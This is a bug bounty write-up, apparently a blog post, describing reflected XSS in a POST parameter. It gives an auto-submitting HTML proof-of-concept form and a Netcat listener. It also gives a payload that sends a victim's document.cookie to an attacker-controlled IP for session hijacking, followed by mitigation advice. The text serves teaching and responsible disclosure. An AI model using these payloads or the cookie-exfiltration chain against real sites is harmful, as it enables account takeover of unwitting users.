Hello Cyber Boys & Girls , I’m Prakash Nadakuditi, an ethical hacker, bug bounty hunter, and a big fan of everything cybersecurity. I hold certifications like Certified Ethical Hacker (CEH), Web Application Hacking & Security (WAHS), and CompTIA PenTest+, and I also have a master’s degree in cybersecurity. My career is all about finding security holes in software and helping to fix them before the bad guys can use them.
In this write-up, I’m going to talk about a specific kind of security problem called XSS, or Cross-Site Scripting. You might have heard about it before, but this time it’s a little different because I found it in a place where most people don’t usually look — in a POST request. I’ll walk you through how I found this problem, what it means, and how someone could use it to do bad things if it’s not fixed. I’ll explain everything step by step, so whether you know a little or a lot about cybersecurity, you’ll find something useful here.
This isn’t just about finding a problem; it’s about understanding why it’s a problem and what we can do to stop it. By the end of this story, you’ll know a lot more about XSS and why it’s important to pay attention to every detail in cybersecurity.
Understanding Cross-Site Scripting (XSS)
Cross-Site Scripting, or XSS, is a type of security problem that happens in web applications. It allows someone to send harmful code, usually in the form of a script, to another user through a web application. Imagine you’re writing a note that the application shows to other users. If the application isn’t careful about checking what’s in the note, you might include something in it that shouldn’t be there, like a script that can steal information.
Types of XSS
XSS can happen in a few different ways:
Reflected XSS: This happens when a web application takes data from a user and immediately uses it in a webpage without checking it properly. If you search for something on a website, and the website shows your search term on the page without cleaning it up, someone could trick the site into showing harmful scripts instead.
Stored XSS: This is more dangerous than reflected XSS because the harmful script gets saved on the web server. For example, if you can leave comments on a blog, someone might write a comment with a script hidden in it. Every time someone views that comment, the script runs.
DOM-based XSS: This type happens when the data doesn’t go back to the server but is handled by the web page’s own code (the DOM, or Document Object Model). For example, if a website uses JavaScript to update the page based on your actions without properly checking the data, it could run harmful scripts.
Common Misunderstandings
Many people think XSS is just a minor annoyance, but it can actually lead to serious problems like stealing login details, hijacking accounts, or even taking control of your computer in some cases.
In this particular story, we’re focusing on a less common scenario where XSS is found in data sent through a POST request, not a GET request. Usually, hackers and security testers check URLs and GET requests for XSS because that’s where they expect to find it. POST requests, which are used to send data to the server more securely, are often overlooked. But as you’ll see, they can be just as vulnerable.
Discovery of the Vulnerability
While working on a bug bounty program, I stumbled upon a subdomain that seemed a bit off. The URL was something like stage.example.com/sim.php, and it was just a simple page with a form that didn’t seem to do much. At first, I didn’t think much of it and almost ignored it. But then, I saw another similar endpoint at stage.example.com/callback.php, which also looked inactive.
Something about these endpoints made me curious, so I decided to dig deeper. I used a tool called Arjun, which is great for finding hidden parameters in web requests. For those new to Arjun, it’s a tool you can find on GitHub that helps you discover parameters in web requests, whether they are POST or GET requests.
Arjun didn’t find anything interesting in the GET requests, so I decided to switch things up. I turned the request into a POST and added a random parameter: hello=1. When I sent this through my testing tool, Burp Suite, I got a surprising result. The response from the server included my random parameter and its value. This was my first clue that something wasn’t right.
I experimented by injecting some simple HTML and JavaScript into the parameter value, and to my surprise, the script ran. This was a clear sign of an XSS vulnerability, but not just any XSS — it was in the POST request data, which we don’t usually expect to be vulnerable.
Technical Deep Dive into the Exploit
Once I identified the XSS vulnerability in the POST request, the next step was to exploit it effectively. This involved creating a script that would execute when the malicious data was processed by the server. Here’s how I approached it:
Crafting the XSS Payload
The first task was to create an effective XSS payload, which is the malicious script that would execute due to the vulnerability. Since the vulnerability allowed for HTML and JavaScript injection, I chose a simple yet effective script to demonstrate the potential impact. The payload looked something like this:
<script>alert(1)</script>
This script is straightforward; it would pop up an alert box saying “XSS Detected” on any user’s screen if they were affected by the vulnerability. This serves as proof that arbitrary JavaScript code could be executed through the vulnerability.
Using Burp Suite to Modify and Test the Request
To test and refine my exploit, I used Burp Suite, a popular tool among security professionals for testing web application security. Here’s what I did:
Intercepting the Request: I set up Burp Suite to intercept the outgoing POST request from the affected form on the web application.
Modifying the Request: In the intercepted request, I replaced the original parameter value with my XSS payload.
Sending the Modified Request: After updating the request with the payload, I forwarded it to the server to see if the script executed.
The server responded as expected, confirming the vulnerability by executing the script. This confirmed that not only could I inject scripts, but they would also execute within the context of the user’s session, which could potentially allow for more harmful actions like session hijacking or data theft.
Developing the Proof of Concept (PoC)
After confirming the vulnerability, the next step was to create a Proof of Concept (PoC) to demonstrate the exploit to the application owners clearly and responsibly. This PoC would simulate a real-world attack scenario where an attacker could use the vulnerability to execute arbitrary code on a victim’s browser.
I created an HTML page that automatically submitted a POST request with the XSS payload embedded. This is how I set it up:
<html>
<body onload=”document.forms[0].submit()”>
<form action=”http://stage.example.com/callback.php” method=”POST”>
<input type=”hidden” name=”hello” value=”<script>alert(‘XSS Detected’);” />
</form>
</body>
</html>
Auto-Submitting Form: The HTML page contained a form that automatically submitted upon loading. The form was directed to the vulnerable endpoint and included inputs that were automatically filled with the XSS payload.
Auto-Execution: To ensure the form submitted automatically, I added JavaScript to the HTML that triggered the form submission as soon as the page loaded.
Hosting the PoC
To simulate an attacker hosting the malicious page, I used the local server feature in Kali Linux:
Starting Apache Server: I ran service apache2 start in the terminal to start the local web server.
Deploying the HTML Page: I placed the PoC HTML file in the /var/www/html directory, making it accessible over the network.
When someone visited the PoC page hosted on my local server, their browser would automatically send the POST request with the XSS payload to the vulnerable application, demonstrating how an attacker could exploit this vulnerability in a real-world scenario.
Exploiting Cookies with XSS and Netcat in a Real-World Scenario
Once the Proof of Concept (PoC) page is visited and the XSS script is executed, the potential for harm increases significantly if the script is designed to steal cookies. Here’s how an attacker might leverage this XSS vulnerability to capture cookies using Netcat, a common utility tool for listening to incoming network traffic.
Setting Up a Listener with Netcat
To capture cookies stolen by the XSS script, an attacker would set up a listener on a server they control. Here’s how you would set up Netcat to listen for incoming connections and capture stolen cookies:
Start Netcat Listener:
On the attacker-controlled server, open a terminal.
Run the command nc -lvvp 9999.
This command tells Netcat to listen (-l) verbosely (-vv) on port 9999 (-p 9999), showing detailed information about the incoming connections and data.
Modifying the XSS Payload:
The XSS payload in the PoC HTML needs to be adjusted to send the stolen cookies to the attacker’s server where Netcat is listening. The modified payload might look like this:
<script>document.location=’http://your-ip:9999/?cookie=’ + document.cookie;</script>
Replace attacker-ip with the IP address of the server running the Netcat listener.
Deploying the Modified PoC:
Update the PoC HTML file with this new payload.
Ensure it is still hosted properly on the local server setup with Kali Linux.
Real-World Attack Simulation
When a user unknowingly visits the malicious PoC page, the embedded XSS script executes and sends the user’s cookies to the specified server. The cookies, which could contain session tokens or other authentication data, are captured by Netcat. This allows the attacker to potentially hijack the user’s session, accessing their account without needing a password.
Mitigation Strategies
To protect against XSS vulnerabilities, particularly those that can lead to significant impacts like session hijacking, web developers and security professionals should implement several key strategies:
Input Sanitization:
Ensure that all inputs received from users are properly sanitized to prevent malicious scripts from being executed. This includes encoding or escaping user inputs where necessary.
Content Security Policy (CSP):
Implement a strong Content Security Policy that helps to reduce the severity of XSS attacks by specifying which sources the browser should consider valid for executable scripts.
Use HttpOnly and Secure Cookie Flags:
Set the HttpOnly flag on cookies to prevent them from being accessed by client-side scripts. This can mitigate the impact of certain XSS attacks where the attacker attempts to steal session cookies.
Additionally, use the Secure flag to ensure cookies are sent only over secure HTTPS connections.
Regular Security Audits and Code Reviews:
Conduct regular security audits and thorough code reviews to identify and fix security vulnerabilities. Automated tools can help, but manual testing is crucial for uncovering complex security issues like those involving business logic.
Security Awareness and Training:
Educate developers about common security pitfalls and best practices in web development. Regular training can help in minimizing the risks posed by new and evolving security threats.
Conclusion
Understanding and mitigating XSS vulnerabilities are critical for maintaining the security and integrity of web applications. By demonstrating how a simple XSS in a POST request can lead to significant security breaches, such as cookie theft and session hijacking, we underscore the importance of comprehensive security practices. These practices not only protect the data and privacy of users but also help in building trust and credibility in the digital ecosystem.
Hope you enjoyed, Happy hacking Cyber warriors!!!!
